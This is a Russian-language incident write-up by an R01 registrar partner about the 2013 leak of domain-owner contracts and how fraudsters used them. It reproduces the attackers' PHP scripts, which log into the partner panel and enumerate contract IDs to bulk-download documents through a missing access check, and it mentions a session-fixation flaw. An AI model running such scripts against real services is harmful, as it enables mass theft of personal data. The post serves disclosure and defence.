скриншот на утро 10 декабря (в настоящее время кэш очищен)
Узнаем, как это произошло:
Лирическое отступление: Я являюсь партнером r01 и домены регистрирую только на себя и друзей. 8 декабря мне стали поступать звонки от неизвестных людей которые просили меня предоставить доступ к их домену на основании того, что они готовы сообщить мне все паспортные данные владельца и при этом говорили, что паспорт они потеряли и вообще физически не могут встретиться, так как теперь проживут в другой стране. Я связался с другом, который регистрировал данный домен на своего клиента и он сказал, что с ним ни кто не связывался и мои контакты он ни кому не говорил. Мне стало интересно, откуда неизвестные взяли мой номер – я его ни когда не засвечивал в сети и при наборе его в google я обнаружил свои договор по адресу ns2.kladovochka.net/gmail-box.com/100000-119999/res/XXXXXX.html
kladovochka.net – хостер gmail-box.com (домен с регистрационным email владельца poddrop[doc]lenta.ru)
Перейдя по адресу ns2.kladovochka.net/gmail-box.com/ я увидел следующую картину
Названия папок и уже упакованных архивов — видимо внутренние порядковые номера договоров в базе R01. В каждой папке были тексты соответствующих договоров и скриптов взлома, различающихся только выборкой последовательности номеров (скорей всего слитие шло параллельно).
Судя по исходникам слития базы договоров алгоритм был следующий:
1 Запускается скрипт ses.php, задача которого просто залогиниться под партнерским аккаунтом и сохранить печеньку.
ses.php
<?php error_reporting(E_ALL); $cookie_file = "cookie.txt"; $ch = curl_init(); $url_string = 'https://partner.r01.ru/?'; curl_setopt ($ch, CURLOPT_URL, $url_string); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "wizard_domain2=&auid=&htid=&action=1&login=18339/R01-REG&passwd=XXXXXX&remember=on"); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); $html = curl_exec ($ch); curl_close($ch); echo $html;
Печенька cookie.txt содержит идентификатор сессии regbase2_id
cookie.txt
.r01.ru TRUE / FALSE 0 regbase2_id XXXXXXXXXXXXXXXXXXX partner.r01.ru FALSE / FALSE 0 test passed
Далее запускается скрипт ugon.php, который используя ранее сохраненную печеньку перебирает печатные формы договоров и сохраняет их на сервере. По всей видимости, у r01 не было разделения прав для доступа партнеров только к своим договорам.
ugon.php
<?php set_time_limit(0); function save($i) { $ch = curl_init(); $cookie_file = "cookie.txt"; $url_string = "https://partner.r01.ru/AB/print_version.khtml?pftid=1932&type=enclosure&id=$i&outputf=htm"; curl_setopt ($ch, CURLOPT_URL, $url_string); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); $html = curl_exec ($ch); curl_close($ch); file_put_contents("res/".$i.".html", $html); } for($i = 80000; $i < 100000; $i++) { save($i); }
Обо всем об этом я сразу рассказал службе поддержки r01 по всем доступным каналам, чтобы убедиться, что мое сообщение получено и они понимают серьезность проблемы. Просил их своим влиянием побыстрее заабузить хостинг и домен и запросить у google зачистку кеша. На момент моего сообщения логин злоумышленника был действующий – т.е. R01 не знали о существования проблемы. Через несколько часов ns2.kladovochka.net стал недоступен. На следующий день он снова заработал и уже все данные на нем были стерты.
P.S. Прошу прощения, что я только сейчас обнародую эту информация и кого то уже могли обмануть злоумышленники – я ждал пока google очистит кеш, чтобы другие мошенники не смогли собрать свою базу из google. И вчера на roem.ru/2013/12/10/addednews86718/ произошел слив информации об этом инциденте, который помог к середине дня затереть видимость данных и убрал доступ к сохраненной копии договоров.
P.S.S. Изначально я думал, что была украдена печенька администратора и в результате чего я выяснил, что regbase2_id остается действующим даже после разлогинивания клиента в панели управления по кнопке выход и также оказалось, что его можно было передавать как параметр в строке url – т.е. была возможна подмена сессий – сейчас исправлено.
ссылка на оригинал статьи http://habrahabr.ru/post/205624/
Добавить комментарий